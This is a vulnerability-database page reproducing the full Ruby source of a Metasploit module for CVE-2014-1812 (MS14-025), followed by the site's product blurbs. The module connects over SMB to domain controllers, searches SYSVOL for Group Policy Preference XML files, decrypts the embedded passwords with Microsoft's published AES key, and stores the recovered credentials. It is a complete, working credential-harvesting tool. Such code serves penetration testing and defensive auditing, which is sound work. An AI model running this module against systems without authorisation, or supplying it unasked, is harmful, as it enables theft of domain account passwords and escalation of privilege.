Lucene search
K

SMB Group Policy Preference Saved Passwords Enumeration

🗓️ 01 Sep 2024 00:00:00Reported by Joshua D. Abraham, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 534 Views

This module enumerates files from target domain controllers and connects to them via SMB. It looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES key. Successfully tested on a Win2k8 R2 Domain Controller

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2014-1812
14 May 201400:00
attackerkb
Circl
CVE-2014-1812
29 May 201815:50
circl
CISA KEV Catalog
Microsoft Windows Group Policy Preferences Password Privilege Escalation Vulnerability
3 Nov 202100:00
cisa_kev
CVE
CVE-2014-1812
14 May 201410:00
cve
Cvelist
CVE-2014-1812
14 May 201410:00
cvelist
Microsoft KB
MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege: May 13, 2014
13 May 201400:00
mskb
Kaspersky
KLA10601 Multiple vulnerabilities in Microsoft products
11 Nov 201400:00
kaspersky
canvas
Immunity Canvas: MS14_025
14 May 201411:13
canvas
Metasploit
SMB Group Policy Preference Saved Passwords Enumeration
28 Jul 201519:21
metasploit
NVD
CVE-2014-1812
14 May 201411:13
nvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SMB::Client::Authenticated  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::OptionalSession::SMB  
  
# Aliases for common classes  
SIMPLE = Rex::Proto::SMB::Client  
XCEPT = Rex::Proto::SMB::Exceptions  
CONST = Rex::Proto::SMB::Constants  
  
def initialize  
super(  
'Name' => 'SMB Group Policy Preference Saved Passwords Enumeration',  
'Description' => %Q{  
This module enumerates files from target domain controllers and connects to them via SMB.  
It then looks for Group Policy Preference XML files containing local/domain user accounts  
and passwords and decrypts them using Microsoft's public AES key. This module has been  
tested successfully on a Win2k8 R2 Domain Controller.  
},  
'Author' =>  
[  
'Joshua D. Abraham <jabra[at]praetorian.com>',  
],  
'References' =>  
[  
['CVE', '2014-1812'],  
['MSB', 'MS14-025'],  
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/d315342d-41c0-47e3-ab96-7039eb91f5b4'],  
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],  
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],  
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']  
],  
'License' => MSF_LICENSE,  
)  
register_options([  
OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']),  
OptPort.new('RPORT', [true, 'The Target port', 445]),  
OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true])  
])  
end  
  
def check_path(ip, path)  
vprint_status("Trying to download \\\\#{ip}\\#{path}...")  
begin  
fd = simple.open(path, 'ro')  
print_good "Found Policy Share on #{ip}"  
smb_download(ip, fd, path)  
rescue ::RubySMB::Error::UnexpectedStatusCode => e  
case e.status_code.name  
when 'STATUS_FILE_IS_A_DIRECTORY'  
print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")  
when 'STATUS_OBJECT_NAME_NOT_FOUND'  
vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")  
when 'STATUS_OBJECT_PATH_NOT_FOUND'  
vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")  
when 'STATUS_ACCESS_DENIED'  
vprint_error("Host reports access denied.")  
when 'STATUS_BAD_NETWORK_NAME'  
vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")  
when 'STATUS_INSUFF_SERVER_RESOURCES'  
vprint_error("Host rejected with insufficient resources!")  
when 'STATUS_OBJECT_NAME_INVALID'  
vprint_error("opening #{path.inspect} bad filename")  
else  
vprint_error("Server responded unexpected status code: #{e.status_code.name.inspect}")  
end  
ensure  
fd.close unless fd.nil?  
end  
end  
  
def report_creds(ip, user, password)  
service_data = {  
address: ip,  
port: rport,  
protocol: 'tcp',  
service_name: 'smb',  
workspace_id: myworkspace_id  
}  
  
new_user = user.sub(/\s+.*/, '')  
first, rest = new_user.split(/\\/)  
if first && rest  
domain = first  
user = rest  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: user,  
private_data: password,  
private_type: :password,  
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,  
realm_value: domain,  
}  
else  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: new_user,  
private_data: password,  
private_type: :password  
}  
end  
credential_core = create_credential(credential_data.merge(service_data))  
  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED  
}  
  
create_credential_login(login_data.merge(service_data))  
end  
  
def parse_xml(ip, path, xml_file)  
mxml = xml_file[:xml]  
print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}"  
file_type = File.basename(xml_file[:path].gsub("\\","/"))  
results = Rex::Parser::GPP.parse(mxml)  
tables = Rex::Parser::GPP.create_tables(results, file_type, xml_file[:domain], xml_file[:dc])  
  
tables.each do |table|  
print_good(table.to_s)  
end  
  
results.each do |result|  
if datastore['STORE']  
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', ip, xml_file[:xml], file_type, xml_file[:path])  
print_good("XML file saved to: #{stored_path}")  
end  
  
report_creds(ip, result[:USER], result[:PASS])  
end  
end  
  
def smb_download(ip, fd, path)  
vprint_status("Downloading #{path}...")  
  
data = fd.read  
  
path_elements = path.split('\\')  
ret_obj = {  
:dc => ip,  
:path => path,  
:xml => data  
}  
ret_obj[:domain] = path_elements[0]  
  
parse_xml(ip, path, ret_obj) if ret_obj  
  
fname = path.split("\\")[-1]  
  
if datastore['STORE']  
path = store_loot('smb.shares.file', 'application/octet-stream', ip, data, fname)  
print_good("#{fname} saved as: #{path}")  
end  
end  
  
def run_host(ip)  
print_status('Connecting to the server...')  
begin  
if session  
print_status("Using existing session #{session.sid}")  
client = session.client  
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)  
else  
connect  
smb_login  
end  
  
print_status("Mounting the remote share \\\\#{simple.address}\\#{datastore['SMBSHARE']}'...")  
tree = simple.client.tree_connect("\\\\#{simple.address}\\#{datastore['SMBSHARE']}")  
  
corp_domain = tree.list.map { |entry| entry.file_name.value.to_s.encode }.detect { |entry| entry != '.' && entry != '..' }  
fail_with(Failure::NotFound, 'Could not find the domain folder') if corp_domain.nil?  
  
sub_folders = tree.list(directory: "#{corp_domain}\\Policies").map { |entry| entry.file_name.value.to_s.encode }  
  
gpp_locations = %w(  
MACHINE\\Preferences\\Groups\\Groups.xml  
USER\\Preferences\\Groups\\Groups.xml  
MACHINE\\Preferences\\Services\\Services.xml  
USER\\Preferences\\Printers\\Printers.xml  
USER\\Preferences\\Drives\\Drives.xml  
MACHINE\\Preferences\\Datasources\\DataSources.xml  
USER\\Preferences\\Datasources\\DataSources.xml  
MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml  
USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml  
)  
sub_folders.each do |sub_folder|  
next if sub_folder == '.' || sub_folder == '..'  
gpp_locations.each do |gpp_l|  
check_path(simple.address,"#{corp_domain}\\Policies\\#{sub_folder}\\#{gpp_l}")  
end  
end  
rescue ::Exception => e  
print_error("#{simple.address}: #{e.class} #{e}")  
ensure  
disconnect  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation